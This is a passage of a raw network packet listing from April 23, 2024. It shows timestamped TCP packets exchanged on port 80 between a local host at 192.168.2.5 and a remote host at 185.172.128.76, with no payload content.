Apr 23, 2024 09:33:02.077797890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077810049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077821016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077821970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077850103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077879906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077950001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077985048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077991962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077997923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078020096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078032970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078042984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078054905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078067064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078078985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078088045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078090906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078103065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078111887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078114986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078125954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078135014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078161001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078176975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078190088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078201056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078212023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078213930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078239918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078259945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078396082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078411102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078448057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078448057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078450918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078461885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078488111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078500986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.078655958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078668118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078679085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078700066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078712940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078726053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078737974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078792095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078804970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078818083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.078829050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079087019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079101086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079113007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079124928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079137087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079150915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079163074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079174042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079189062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079200029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079210997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079262018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079301119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079313040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.079324007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.087112904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.124706984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124727011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124738932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124753952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124766111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124777079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.124778032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124790907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124803066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124809980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.124834061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.124911070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124922991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124943018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.124952078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124963999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.124972105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.124986887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.124999046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.162940025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.368643045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472575903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472604990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472616911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472630978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472642899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472655058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472666979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472670078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.472685099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472696066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472697973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.472708941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.472732067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.472750902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524204969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524230003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524243116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524254084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524266005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524281025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524292946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524305105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524311066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524316072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524327993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524338007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524348974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524359941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524372101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524374962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524386883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524401903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524401903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524429083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524442911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524455070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524465084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524486065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524507999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524564981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524579048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524606943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524619102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524631977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.524638891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524657011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.524671078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.575952053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.575975895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.575992107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.575999022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576010942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576030970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576041937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576051950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576065063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576076984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576091051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576114893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576127052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576137066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576153040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576164961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576175928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576186895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576194048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576205969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576212883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576212883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576222897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576287985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576366901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576379061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576390982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576400042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576410055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576436043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576491117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576503038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576520920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576529026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576533079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576559067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576560974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576581955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576586962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576607943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576610088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576632977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576647997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576677084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576694012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576716900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576726913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576731920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576741934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576770067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576777935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576822042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576858997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576889992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576903105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576913118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576924086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576953888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.576982975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.576994896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.577013969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.577030897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.577043056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.577078104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.577078104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.577090025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.577101946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.577111959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.577114105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.577125072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.577126026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.577145100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.577157021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.627559900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627583027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627593994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627604961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627614975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627625942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627635956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627645969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627655983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627665043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627665997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.627677917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627688885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627697945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627708912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627718925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627724886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627738953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627743006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.627749920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627764940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.627779961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.627808094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627840042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627851009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627861023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627861977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.627887011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.627909899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.627973080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627985954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.627995968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628005981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628029108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628041029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628068924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628113031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628181934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628194094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628202915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628226042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628242970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628251076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628278971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628298998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628310919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628344059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628377914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628390074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628400087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628411055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628417969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628422022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628433943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628443956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628463030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628467083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628473997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628504038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628585100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628628969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628648996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628660917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628671885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628690004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628712893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628787994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628799915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628833055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628849030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628859997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628901958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.628921986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.628963947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629035950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629046917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629056931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629066944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629077911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629082918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629106045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629117012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629123926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629128933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629153967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629163980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629317999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629360914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629379988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629393101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629403114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629420042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629430056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629451990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629592896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629606009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629633904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629633904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629645109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629684925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.629956007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629990101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.629995108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630027056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630142927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630155087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630166054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630187988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630201101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630271912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630284071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630294085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630305052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630314112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630316019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630326033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630337000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630338907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.630345106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630356073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630362034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630371094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630377054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630387068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630398035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.630398035 CEST	49704	80	192.168.2.5	185.172.128.76
